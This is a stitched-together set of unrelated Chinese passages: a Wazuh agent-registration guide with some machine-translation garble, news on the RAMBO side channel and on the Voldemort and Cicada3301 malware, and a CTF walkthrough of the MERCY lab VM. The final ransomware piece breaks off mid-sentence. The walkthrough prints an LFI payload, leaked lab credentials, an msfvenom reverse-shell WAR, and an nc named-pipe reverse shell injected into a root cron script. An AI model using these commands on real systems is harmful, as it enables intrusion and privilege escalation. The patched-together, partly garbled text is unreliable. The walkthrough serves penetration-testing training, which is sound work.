接受端口1515上的连接并使用文件中指定的密码：/var/ossec/etc/authd.pas b.如果未指定密码，则注册服务将自行创建密码并将在命令控制终端输出密码： [root@wazhu-manage etc]# /var/ossec/bin/ossec-authd -P 接受端口1515上的连接并为代理验证输出随机密码：abdc1234 2.代理可以通过将密码存储在文件中或通过命令行参数来使用密码。请执行以下步骤之一： (1).将密码写下到/var/ossec/etc/authd.pass下并运行agent-auth程序： a.Linux系统： # echo "abcd1234" > /var/ossec/etc/authd.pass # /var/ossec/bin/agent-auth -m <MANAGER_IP_ADDRESS> b.Windows系统： # echo abcd1234 > C:\Program Files (x86)\ossec-agent\authd.pass # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m <MANAGER_IP_ADDRESS> (2).使用-P参数然后输入密码： a.Linux系统： # /var/ossec/bin/agent-auth -m <MANAGER_IP_ADDRESS> -P "abcd1234" b.Windows系统： # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m <MANAGER_IP_ADDRESS> -P "abcd1234" 5.4.使用SSL进行主机验证注册 1.创建授权证书（CA） 要使用具有SSL认证的注册服务，您必须创建一个授权证书，用于为管理服务器和代理签署证书。主机将收到此CA的副本以验证远程证书： [root@wazhu-manage bin]# cd /var/ossec/etc [root@wazhu-manage etc]# cp sslmanager.cert sslmanager.cert.bak [root@wazhu-manage etc]# cp sslmanager.key sslmanager.key.bak [root@wazhu-manage etc]# rm sslmanager.cert sslmanager.key [root@wazhu-manage etc]#cd /opt [root@wazhu-manage opt]# openssl req -x509 -new -nodes -newkey rsa:2048 -keyout rootCA.key -out rootCA.pem -batch -subj "/C=US/ST=CA/O=Manager" Generating a 2048 bit RSA private key ...............................................+++ ............................................................+++ writing new private key to 'rootCA.key' ----- [root@wazhu-manage opt]# ls jre-8-linux-x64.rpm wazuh-agent-3.8.0-1.x86_64.rpm rootCA.key wazuh-api-3.8.0-1.x86_64.rpm rootCA.pem wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# 注意：我们刚刚创建的文件rootCA.key是CA 的私钥。需要签署其他证书，保证其安全的重要性。请注意，我们永远不会将此文件复制到其他主机上。 2.使用SSL签署管理服务器证书 (1).为管理服务器颁发并签署证书，它是将用于连接服务器的主机名或IP地址。例如，如果管理服务器的IP是192.168.1.2： [root@wazhu-manage opt]# openssl req -new -nodes -newkey rsa:2048 -keyout sslmanager.key -out sslmanager.csr -subj '/C=US/CN=149.248.9.0' Generating a 2048 bit RSA private key .................................................+++ ..........................................................................................................................................................................................+++ writing new private key to 'sslmanager.key' ----- [root@wazhu-manage opt]# ls jre-8-linux-x64.rpm sslmanager.key rootCA.key wazuh-agent-3.8.0-1.x86_64.rpm rootCA.pem wazuh-api-3.8.0-1.x86_64.rpm sslmanager.csr wazuh-manager-3.8.0-1.x86_64.rpm [root@wazhu-manage opt]# openssl x509 -req -days 365 -in sslmanager.csr -CA rootCA.pem -CAkey rootCA.key -out sslmanager.cert -CAcreateserial Signature ok subject=/C=US/CN=149.248.9.0 Getting CA Private Key [root@wazhu-manage opt]# python -m SimpleHTTPServer 81 (2).将新创建的证书（及其密钥）复制到管理服务器上/var/ossec/etc的文件夹中，然后启动注册服务： [root@wazhu-manage opt]# cp sslmanager.cert sslmanager.key /var/ossec/etc [root@wazhu-manage opt]# systemctl restart wazuh-manager.service [root@wazhu-manage opt]# /var/ossec/bin/ossec-authd (3).将CA（但不是密钥复制到代理主机上/var/ossec/etc的文件夹中，然后运行agent-auth程序： a.Linux系统： root@agent03:/opt# wget http://149.248.9.0:81/rootCA.pem root@agent03:/opt# cp rootCA.pem /var/ossec/etc root@agent03:/opt# /var/ossec/bin/ossec-control restart b.对于Windows系统，必须将CA复制到：C:\Program Files (x86)\ossec-agent # cp rootCA.pem C:\Program Files (x86)\ossec-agent # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m 149.248.9.0 -v C:\Program Files (x86)\ossec-agent\rootCA.pem 5.5.使用SSL验证代理 1.代理验证（无主机验证） 在此示例中，我们将为代理创建证书而不指定其主机名，以便许多代理可以使用相同的证书。无论他们从何处进行连接,这将验证代理是否具有由CA签署的证书. (1).为代理签发证书并签名。请注意，我们不会输入公共名称字段： # openssl req -new -nodes -newkey rsa:2048 -keyout sslagent.key -out sslagent.csr -batch # openssl x509 -req -days 365 -in sslagent.csr -CA rootCA.pem -CAkey rootCA.key -out sslagent.cert -CAcreateserial (2).将CA（但不是密钥）复制到管理服务器上/var/ossec/etc的文件夹中（如果它尚未存在）并启动注册服务： # cp rootCA.pem /var/ossec/etc # /var/ossec/bin/ossec-authd -v /var/ossec/etc/rootCA.pem (3).将新创建的证书（及其密钥）复制到代理主机/var/ossec/etc的文件夹内，然后运行agent-auth程序。例如，如果管理服务器的IP地址是192.168.1.2： a.Linux系统： # cp sslagent.cert sslagent.key /var/ossec/etc # /var/ossec/bin/agent-auth -m 192.168.1.2 -x /var/ossec/etc/sslagent.cert -k /var/ossec/etc/sslagent.key b.对于Windows系统，必须将CA复制到：C:\Program Files (x86)\ossec-agent # cp sslagent.cert sslagent.key C:\Program Files (x86)\ossec-agent # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m 192.168.1.2 -x C:\Program Files (x86)\ossec-agent\sslagent.cert -k C:\Program Files (x86)\ossec-agent\sslagent.key 2.代理验证（带主机验证） 这是前一种替代的方法。在这种情况下，我们将代理的证书绑定到管理服务器的IP地址。 (1).为代理颁发并签署证书，将其主机名或IP地址输入公共名称字段。例如，如果代理的IP是192.168.1.3： ＃ OpenSSL的REQ -new -nodes -newkey RSA：2048 -keyout sslagent.key退房手续sslagent.csr -subj '/C=US/CN=192.168.1.3' ＃ OpenSSL的X509 -req -days 365 -in sslagent.csr - CA rootCA.pem -CAkey rootCA.key -out sslagent.cert -CAcreateserial (2).将CA（但不是密钥）复制到管理器上/var/ossec/etc的文件夹中（如果它尚未存在）并启动注册服务。请注意，我们使用该-s参数来启用代理主机验证： # cp rootCA.pem /var/ossec/etc # /var/ossec/bin/ossec-authd -v /var/ossec/etc/rootCA.pem (3).将新创建的证书（及其密钥）复制到代理上/var/ossec/etc的文件夹中，然后运行agent-auth程序。例如，如果管理服务器的IP地址是192.168.1.2： a.Linux系统： # cp sslagent.cert sslagent.key /var/ossec/etc # /var/ossec/bin/agent-auth -m 192.168.1.2 -x /var/ossec/etc/sslagent.cert -k /var/ossec/etc/sslagent.key b.对于Windows系统，必须将CA复制到：C:\Program Files (x86)\ossec-agent # cp sslagent.cert sslagent.key C:\Program Files (x86)\ossec-agent # C:\Program Files (x86)\ossec-agent\agent-auth.exe -m 192.168.1.2 -x C:\Program Files (x86)\ossec-agent\sslagent.cert -k C:\Program Files (x86)\ossec-agent\sslagent.key 5.6.其他配置 默认情况下，注册服务会使用其静态IP地址添加代理。如果要使用动态IP添加它们（如any在manage_agents工具上使用），则必须更改管理器的配置文件 <auth> <use_source_ip>no</use_source_ip> </auth>ls 不允许重复的IP，因此如果已经有另一个使用相同IP注册的代理，则不会添加代理。通过更改配置文件，如果找到具有相同IP地址的旧代理，ossec-authd则可以告知强制注册。这将使旧代理的注册被删除： <auth> <force_insert>yes</force_insert> <force_time>0</force_time> </auth> 0参数表示最小时间（秒），因为旧的代理是最后一个连接（一个要被删除的代理）。在这种情况下，它意味着删除旧代理的注册，无论它最近被接入 6.脚本化自动注册agent: 使用API注册代理需要两个请求： POST /agents（参考） PUT /agents/:agent_name （参考） 我们准备了一些不同编程语言的脚本来帮助完成使用API注册代理的任务： 使用shell脚本注册代理。 使用Python脚本注册代理。 使用PowerShell脚本注册代理。 6.1 使用shell脚本自动注册代理 root@agent04:~# cd /opt root@agent04:/opt# wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.de root@agent04:/opt# chmod +x wazuh-agent_3.8.0-1_amd64.deb root@agent04:/opt# vi /var/ossec/etc/ossec.conf <server> <address>149.248.9.0</address> <port>1514</port> <protocol>udp</protocol> </server> root@agent04:/opt# vi api-register-agent.sh root@agent04:/opt# sh api-register-agent.sh 6.2.使用API注册代理 基本上，脚本执行以下步骤： 第1步：将代理添加到管理器。 # curl -u foo:bar -X POST -d 'name=NewAgent&ip=10.0.0.8'"http://localhost:55000/agents" {"error":0,"data":"001"} 第2步：获取代理密钥。 # curl -u foo:bar -X GET "http://localhost:55000/agents/001/key" {"error":0,"data":"MDAxIE5ld0FnZW50IDEwLjAuMC44IDM0MGQ1NjNkODQyNjcxMWIyYzUzZTE1MGIzYjEyYWVlMTU1ODgxMzVhNDE3MWQ1Y2IzZDY4M2Y0YjA0ZWVjYzM="} 第3步：将密钥复制到代理。 # /var/ossec/bin/manage_agents -i MDAxIE5ld0FnZW50IDEwLjAuMC44IDM0MGQ1NjNkODQyNjcxMWIyYzUzZTE1MGIzYjEyYWVlMTU1ODgxMzVhNDE3MWQ1Y2IzZDY4M2Y0YjA0ZWVjYzM= 注意：如果将命令直接粘贴到终端中，则代理密钥将保存在bash历史记录中。使用manage_agents不带参数或脚本。 第4步：重新启动代理 systemctl restart wazuh-agent

一种被称为“RAMBO”（用于进攻的隔离内存总线辐射）的新型侧信道攻击会从设备的 RAM 产生电磁辐射，以从隔离的计算机发送数据。 隔离系统通常用于对安全性要求极高的任务关键型环境，例如政府、武器系统和核电站，这些系统与公共互联网和其他网络隔离，以防止恶意软件感染和数据盗窃。 尽管这些系统没有连接到更广泛的网络，但它们仍然可能受到通过物理介质如USB 驱动器，引入恶意软件感染或发起复杂供应链攻击。 该恶意软件可以秘密操作，以调制隔离系统的 RAM 组件，从而允许将机密从计算机传输到附近的接收者。属于此类攻击的最新方法来自以色列大学的研究人员，由 Mordechai Guri 领导，他是隐蔽攻击渠道方面经验丰富的专家，曾开发出使用网卡 LED、USB 驱动器 RF 信号、SATA 电缆和电源泄漏数据的方法。 RAMBO 攻击如何运作 为了实施 Rambo 攻击，攻击者会在隔离的计算机上植入恶意软件，以收集敏感数据并准备传输。它通过操纵内存访问模式（内存总线上的读/写操作）从设备的 RAM 产生受控的电磁辐射来传输数据。 这些发射本质上是恶意软件在 RAM 内快速切换电信号（开关键控“OOK”）的副产品，该过程不会受到安全产品的主动监控，也无法被标记或停止。 执行 OOK 调制的代码 发射的数据被编码为“1”和“0”，在无线电信号中表示为“开”和“关”。研究人员选择使用曼彻斯特编码来增强错误检测并确保信号同步，从而减少接收端出现错误解释的可能性。 攻击者可能会使用带有天线的相对便宜的软件定义无线电 (SDR) 来拦截调制的电磁辐射并将其转换回二进制信息。 单词“DATA”的EM信号 性能和限制 RAMBO 攻击的数据传输速率高达 1,000 比特每秒 (bps)，相当于每秒 128 字节，或 0.125 KB/s。 按照这个速率，窃取 1 兆字节数据大约需要 2.2 小时，因此 RAMBO 更适合窃取少量数据，如文本、按键和小文件。 研究人员发现，在测试攻击时可以实时进行键盘记录。但是，窃取密码需要 0.1 到 1.28 秒，窃取 4096 位 RSA 密钥需要 4 到 42 秒，窃取小图像需要 25 到 250 秒，具体取决于传输速度。 数据传输速度 快速传输的最大范围限制为 300 厘米，误码率为 2-4%。中速传输可将距离增加到 450 厘米，同时误码率相同。最后，误码率几乎为零的慢速传输可以在长达 7 米的距离内可靠地工作。 研究人员还尝试了高达 10,000 bps 的传输，但发现任何超过 5,000 bps 的速度都会导致信噪比非常低，从而无法进行有效的数据传输。 阻止 RAMBO Arxiv 上发表的技术论文提供了几项缓解建议来减轻 RAMBO 攻击和类似的基于电磁的隐蔽通道攻击，但它们都引入了各种花费开销。 建议实施严格的区域限制以增强物理防御、RAM 干扰以破坏源头的隐蔽通道、外部 EM 干扰以破坏无线电信号，以及法拉第外壳以阻止气隙系统向外发出 EM 辐射。 研究人员针对虚拟机内运行的敏感进程测试了 RAMBO，发现它仍然有效。然而，由于主机内存容易与主机操作系统和其他虚拟机发生各种交互，攻击可能会很快被阻止。

0x01 前言 MERCY是一个致力于PWK课程安全的靶机系统。MERCY是一款游戏名称，与易受攻击的靶机名称无关。本次实验是攻击目标靶机获取root权限并读系统目录中的proof.txt信息 靶机的下载地址： https://drive.google.com/uc?id=1YzsW1lCKjo_WEr6Pk511DXQBFyMMR14y&export=download（注意确认下载镜像中MERCY.mf的sha256值是否正确） 0x02 信息收集 1.存活主机扫描 root@kali2018:~#arp-scan -l 发现192.168.1.12就是目标靶机系统 2.端口扫描 通过NAMP对目标靶机进行端口扫描 root@kali2018:~# nmap -A192.168.1.12 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 09:55 EST Nmap scan report for 192.168.1.12 Host is up (0.00091s latency). Not shown: 990 closed ports PORT STATESERVICE VERSION 22/tcp filtered ssh 53/tcp opendomain ISC BIND 9.9.5-3ubuntu0.17 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.9.5-3ubuntu0.17-Ubuntu 80/tcp filtered http 110/tcp openpop3? 139/tcp opennetbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp openimap Dovecot imapd |_ssl-date: TLS randomness does not represent time 445/tcp opennetbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 993/tcp openssl/imap Dovecot imapd |_imap-capabilities: CAPABILITY | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-08-24T13:22:55 |_Not valid after: 2028-08-23T13:22:55 |_ssl-date: TLS randomness does not represent time 995/tcp openssl/pop3s? | ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server | Not valid before: 2018-08-24T13:22:55 |_Not valid after: 2028-08-23T13:22:55 |_ssl-date: TLS randomness does not represent time 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1 | http-methods: |_ Potentially risky methods: PUT DELETE |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: Apache-Coyote/1.1 |_http-title: Apache Tomcat MAC Address: 00:0C:29:91:A0:C6 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: MERCY; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -2h39m59s, deviation: 4h37m07s, median: 0s |_nbstat: NetBIOS name: MERCY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: mercy | NetBIOS computer name: MERCY\x00 | Domain name: \x00 | FQDN: mercy |_ System time: 2019-02-12T22:57:54+08:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2019-02-12 09:57:54 |_ start_date: N/A TRACEROUTE HOP RTT ADDRESS 1 0.91 ms 192.168.1.12 OS and Service detection performed. Please report any incorrec 发现目标端口445,8080等端口开放.其他如22,80被防火墙阻断.其中samba服务已开启(这是本文重点渗透目标) 0x03漏洞利用 无论在任何情况下，我们首先攻击的应用目标是Apache Tomcat(http://192.168.1.12:8080/) 尝试访问tomcat后台管理页面，但需要输入正确的用户名和密码方可登陆。尝试输入各种已知的信息但还是无法进入。注意到其用户的配置信息在/etc/tomcat7/tomcat-users.xml中。 1.Samba漏洞攻击 通过smbclient命令列出目标靶机中可用的Samba服务共享名. root@kali2018:~# smbclient -NL 192.168.1.12 可从上图中看到共享的几个名称,下面将挂载其共享目录到本地,但还是不允许访问目标共享,这里需身份认证。 root@kali2018:~# mkdir /mnt/file root@kali2018:~# mount -tcifs 192.168.1.12:/qiu /mnt/file 2.enum4linux枚举Samba账号 root@kali2018:~# enum4linux -U -o 192.168.1.12 让我们将枚举出来的账号(qiu和pleadformercy)添加到mercy.txt中，并对其账号进行爆破。 3.samba账号爆破 root@kali2018:~#hydra -L mercy.txt -P/usr/share/wordlists/fasttrack.txt smb://192.168.1.12:139 可发现成功爆破出qiu的账号，密码为空 4.mount命令挂载目录 root@kali2018:~#mount -t cifs//192.168.1.12:/qiu/mnt/file -o username=qiu 列出挂载目录下的文件信息 5.private目录信息收集 发现.private目录提供了一些重要系统信息 root@kali2018:~# cd /mnt/file/ root@kali2018:/mnt/file# cd .private root@kali2018:/mnt/file/.private# ls opensesame readme.txtsecrets root@kali2018:/mnt/file/.private# cd opensesame/ root@kali2018:/mnt/file/.private/opensesame# ls config configprint root@kali2018:/mnt/file/.private/opensesame# head -30 config Here are settings for your perusal. Port Knocking Daemon Configuration [options] UseSyslog [openHTTP] sequence = 159,27391,4 seq_timeout = 100 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 80 -j ACCEPT tcpflags = syn [closeHTTP] sequence = 4,27391,159 seq_timeout = 100 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 80 -j ACCEPT tcpflags = syn [openSSH] sequence = 17301,28504,9999 seq_timeout = 100 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9999,28504,17301 seq_timeout = 100 command = /sbin/iptables -D iNPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn 上面显示了端口启动守护进程的防火墙端口开放的命令配置. 6.打开目标靶机防火墙端口 看到两组sequence，一组用于HTTP，另一组用于SSH。 （1）http的sequence脚本： kncok.sh #!/bin/bash for PORT in 159 27391 4;do nmap -Pn 192.168.1.12 -p $PORT; done （2）SSH的sequence脚本： kncok1.sh #!/bin/bash for PORT in 17301 28504 9999;do nmap -Pn 192.168.1.12 -p $PORT; done （3）通过sequence脚本来打开HTTP的端口 root@kali2018:~# ./knoch.sh Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00044s latency). PORT STATESERVICE 159/tcp closed nss-routing MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00053s latency). PORT STATE SERVICE 27391/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:50 EST Nmap scan report for 192.168.1.12 Host is up (0.00042s latency). PORT STATESERVICE 4/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds （4）通过sequence脚本来打开SSH的端口 root@kali2018:~# ./knoch1.sh Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00049s latency). PORT STATESERVICE 17301/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00042s latency). PORT STATESERVICE 28504/tcp closed unknown MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.28 seconds Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-12 12:58 EST Nmap scan report for 192.168.1.12 Host is up (0.00031s latency). PORT STATESERVICE 9999/tcp closed abyss MAC Address: 00:0C:29:91:A0:C6 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds 通过以上命令开放了80和22端口,现在在kali系统下打开80端口网站。 7.目录扫描 通过目录工具dirb对目标靶机系统80端口网站进行扫描，发现存在robots.txt文件 root@kali2018:~# dirb http://192.168.1.12 打开robots.txt的连接地址，发现一个有趣的目录/omercy 打开该目录网站，可发现RIPS 0.53版本存在 8.RIPS漏洞收集 根据EDB-ID 18660，RIPS 0.53易受本地文件包含（LFI）漏洞影响。（RIPS 0.53 LFI) 在 exploit-db 中搜索RIPS 0.53 漏洞。 https://www.exploit-db.com/exploits/18660 其PoC为: http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd 可以本地文件包含读出目标靶机的/etc/passwd的信息。 9.tomcat再次入侵 通过rips的lfi漏洞来本地包含tomcat-users.xml读取其配置信息。 http://192.168.1.12/nomercy/windows/code.php?file=./../../../../..//etc/tomcat7/tomcat-users.xml 此文件泄露了8080端口上运行的tomcat管理后台的用户名和密码信息 <? <user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/> <? <user username="qiu" password="mercyplz" roles="manager-gui"/> 有了登录凭证，现在可以登录管理器的webapp来部署恶意webapp，这是一个允许反弹shell的WAR文件。 登陆到管理后台： http://192.168.1.12:8080/manager/html 目标靶机系统为32位的ubuntu系统 我们可以通过msfvenom命令来生成这样的war包 root@kali2018:/opt# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.21 LPORT=3333 -f war -o shell.war 部署webapp后门文件shell.war 通过7z命令查看war包的内容，可以看到包含了yillzdtgvccxzwp.jsp文件 root@kali2018:/opt# 7z l shell.war 访问恶意Web应用程序，请在浏览器的地址栏中输入以下内容： http://192.168.1.12:8080/shell/yillzdtgvccxzwp.jsp 在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’ root@kali2018:/opt# nc -lvvp 3333 以普通用户权限下查看其falg信息: tomcat7@MERCY:/$ cat local.txt cat local.txt Plz have mercy on me! :-( :-( tomcat7@MERCY:/$ 0x04 权限提升 可以通过从tomcat-users.xml中搜索到登录帐户qiu。在信息收集的同时还发现了将权限提升为root的方法。有一个脚本/home/qiu/.private/secrets/timeclock将每隔三分钟，以root权限运行并写入到目录/var/www/html/time中。 tomcat7@MERCY:/$su qiu qiu@MERCY:~/.private/secrets$ ls -al/home/qiu/.private/secrets/timeclock ls -al /home/qiu/.private/secrets/timeclock -rwxrwxrwx 1 root root 222 Aug 31 00:47 /home/qiu/.private/secrets/timeclock qiu@MERCY:~/.private/secrets$ cat timeclock #!/bin/bash now=$(date) echo "The system time is: $now." > ../../../../../var/www/html/time echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time chown www-data:www-data ../../../../../var/www/html/time 将以下命令添加到脚本timclock中，其中NC监听的IP地址为攻击机（kali）的IP地址。 qiu@MERCY:~/.private/secrets$ echo "rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock <mp/p | nc 192.168.1.21 5555 1>/tmp/p" >> timeclock qiu@MERCY:~/.private/secrets$ cat timeclock cat timeclock #!/bin/bash now=$(date) echo "The system time is: $now." > ../../../../../var/www/html/time echo "Time check courtesy of LINUX" >> ../../../../../var/www/html/time chown www-data:www-data ../../../../../var/www/html/time rm -rf /tmp/p; mknod /tmp/p p; /bin/sh 0</tmp/p | nc 192.168.1.21 5555 1>/tmp/p 设置另一个nc监听,监听端口为5555,3分钟后将反弹到目标root shell.并在攻击机上执行nc监听反弹命令并使用python生成交互式的shell：python -c ‘import pty; pty.spawn(“/bin/sh”)’ root@kali2018:/mnt/file/.private/opensesame# nc -lvvp 5555 listening on [any] 5555 ... 192.168.1.12: inverse host lookup failed: Unknown host connect to [192.168.1.21] from (UNKNOWN) [192.168.1.12] 39346 python -c "import pty;pty.spawn('/bin/bash')" 0x05 flag信息查看 进入到root目录然后查看proof.txt得到flag信息 r oot@MERCY:~# cd /root cd /root root@MERCY:~# ls ls author-secret.txt configproof.txt root@MERCY:~# cat proof.txt cat proof.txt Congratulations on rooting MERCY. :-) root@MERCY:~#

一项新的恶意软件活动正在向全球传播一种之前未曾记录的后门“Voldemort”，主要冒充美国、欧洲和亚洲的税务机构。根据 Proofpoint 的报告，该活动于 2024 年 8 月 5 日开始，已向 70 多个目标组织传播了 20,000 多封电子邮件，在其活动高峰期一天内就达到了 6,000 封。 超过一半的目标组织属于保险、航空航天、交通运输和教育行业。此次攻击活动的幕后威胁者尚不清楚，但 Proofpoint 认为最有可能的目的是进行网络间谍活动。 此次攻击与 Proofpoint 在本月初描述的攻击类似，但最后阶段涉及了不同的恶意软件。 冒充税务机关 Proofpoint 的最新报告称，攻击者正在根据公开信息制作网络钓鱼电子邮件以匹配目标组织的位置。 网络钓鱼电子邮件冒充该组织所在国家的税务机关，声称有更新的税务信息并包含相关文件的链接。 攻击活动中使用的恶意电子邮件样本 点击该链接会将收件人带到托管在 InfinityFree 上的登录页面，该页面使用 Google AMP Cache URL 将受害者重定向到带有“单击查看文档”按钮的页面。 单击按钮后，页面将检查浏览器的用户代理，如果适用于 Windows，则将目标重定向到指向 TryCloudflare 隧道 URI 的 search-ms URI（Windows 搜索协议）。非 Windows 用户将被重定向到一个空的 Google Drive URL，该 URL 不提供任何恶意内容。 如果受害者与 search-ms 文件交互，Windows 资源管理器就会被触发，显示伪装成 PDF 的 LNK 或 ZIP 文件。 search-ms: URI 的使用最近在网络钓鱼活动中变得很流行，因为即使此文件托管在外部 WebDAV/SMB 共享上，它也会看起来好像位于本地的下载文件夹中，以诱骗受害者打开它。 使文件看起来好像位于受害者的计算机上 这样做会从另一个 WebDAV 共享中执行 Python 脚本，而无需将其下载到主机上，该脚本会执行系统信息收集以分析受害者。同时，会显示诱饵 PDF 以掩盖恶意活动。 转移受害者注意力的诱饵 PDF 该脚本还下载合法的 Cisco WebEx 可执行文件（CiscoCollabHost.exe）和恶意 DLL（CiscoSparkLauncher.dll），以使用 DLL 侧加载来加载 Voldemort。 滥用 Google 表格 Voldemort 是一个基于 C 的后门，支持各种命令和文件管理操作，包括渗透、将新的有效载荷引入系统以及文件删除。 支持的命令列表如下： ·Ping – 测试恶意软件与 C2 服务器之间的连接。 ·Dir – 从受感染系统检索目录列表。 ·Download – 从受感染系统下载文件到 C2 服务器。 ·Upload – 从 C2 服务器上传文件到受感染系统。 ·Exec – 在受感染系统上执行指定的命令或程序。 ·Copy – 在受感染系统内复制文件或目录。 ·Move – 在受感染系统内移动文件或目录。 ·Sleep – 使恶意软件在指定的时间内进入睡眠模式，在此期间恶意软件不会执行任何活动。 ·Exit – 终止恶意软件在受感染系统上的运行。 Voldemort 的一个显著特点是，它使用 Google Sheets 作为命令和控制服务器 (C2)，对其进行 ping 以获取在受感染设备上执行的新命令，并将其作为被盗数据的存储库。 每台受感染的机器都会将其数据写入 Google Sheet 中的特定单元，这些单元可以通过 UUID 等唯一标识符指定，从而确保隔离并更清晰地管理受感染的系统。 请求从 Google 接收访问令牌 Voldemort 使用嵌入了客户端 ID、密钥和刷新令牌的 Google API 与 Google Sheets 进行交互，这些都存储在其加密配置中。 这种方法为恶意软件提供了可靠且高度可用的 C2 通道，同时还降低了网络通信被安全工具标记的可能性。 由于 Google Sheets 在企业中广泛使用，因此阻止该服务也不切实际。 2023 年，黑客组织 APT41 曾被发现通过使用红队 GC2 工具包将 Google Sheets 用作命令和控制服务器。为了防御此活动，Proofpoint 建议将对外部文件共享服务的访问限制在受信任的服务器上，在不需要时阻止与 TryCloudflare 的连接，并监控可疑的 PowerShell 执行。

一个名为 Cicada3301 的新勒索软件即服务 (RaaS) 行动迅速在全球发起了网络攻击，已在其勒索门户网站上列出了 19 名受害者。 这项新的网络犯罪行动以游戏命名，该游戏涉及复杂的加密谜题，并使用相同的徽标在网络犯罪论坛上进行推广。然而，其实两者之间没有任何联系。 Cicada3301 RaaS 已于 2024 年 6 月 在勒索软件和网络犯罪论坛 RAMP 的论坛帖子中首次开始推广该行动并招募会员。 然而，外媒早已注意到 Cicada 攻击，这表明该团伙在试图招募分支机构之前是独立运作的。 Cicada3301 勒索软件运营商在 RAMP 论坛上寻找附属机构 与其他勒索软件操作一样，Cicada3301 采取双重勒索策略，即入侵公司网络、窃取数据，然后加密设备。然后利用加密密钥和泄露被盗数据的威胁作为手段，恐吓受害者支付赎金。 威胁者运营一个数据泄露网站，将其用作双重勒索计划的一部分。 Cicada3301 勒索门户 Truesec 对新恶意软件的分析显示，Cicada3301 与 ALPHV/BlackCat 之间存在显著的重叠，表明可能是由前 ALPHV 核心团队成员创建的品牌重塑或分叉。 这是基于以下事实： ·两者都是用 Rust 编写的。 ·两者都使用 ChaCha20 算法进行加密。 ·两者都使用相同的 VM 关闭和快照擦除命令。 ·两者都使用相同的用户界面命令参数、相同的文件命名约定和相同的勒索信解密方法。 ·两者都对较大的文件使用间歇性加密。 具体来说，ALPHV 在 2024 年 3 月初实施了一次退出骗局，涉及虚假声称 FBI 正在进行的打击行动，此前他们从 Change Healthcare 的一家附属公司窃取了 2200 万美元的巨额付款。 Truesec 还发现有迹象表明，Cicada3301 勒索软件行动可能与 Brutus 僵尸网络合作或利用该网络对企业网络进行初始访问。该僵尸网络之前曾与针对思科、Fortinet、Palo Alto 和 SonicWall 设备的全球规模 VPN 暴力破解活动有关。 值得注意的是，Brutus 活动是在 ALPHV 关闭运营两周后首次发现的，因此从时间线来看，这两个组织之间的联系仍然存在。 VMware ESXi 面临另一个威胁 Cicada3301 是一款基于 Rust 的勒索软件，同时具有 Windows 和 Linux/VMware ESXi 加密器。作为 Truesec 报告的一部分，研究人员分析了勒索软件操作的 VMWare ESXi Linux 加密器。 与 BlackCat 和其他勒索软件系列（如 RansomHub）一样，必须输入特殊密钥作为命令行参数才能启动加密器。此密钥用于解密加密的 JSON blob，其中包含加密器在加密设备时将使用的配置。 Truesec 表示，加密器会使用密钥解密勒索信来检查密钥的有效性，如果成功，则继续执行其余的加密操作。 其主要功能（linux_enc）使用 ChaCha20 流密码进行文件加密，然后使用 RSA 密钥加密过程中使用的对称密钥。加密密钥是使用“OsRng”函数随机生成的。 Cicada3301 针对与文档和媒体文件匹配的特定文件扩展名，并检查其大小以确定在哪里应用间歇性加密（> 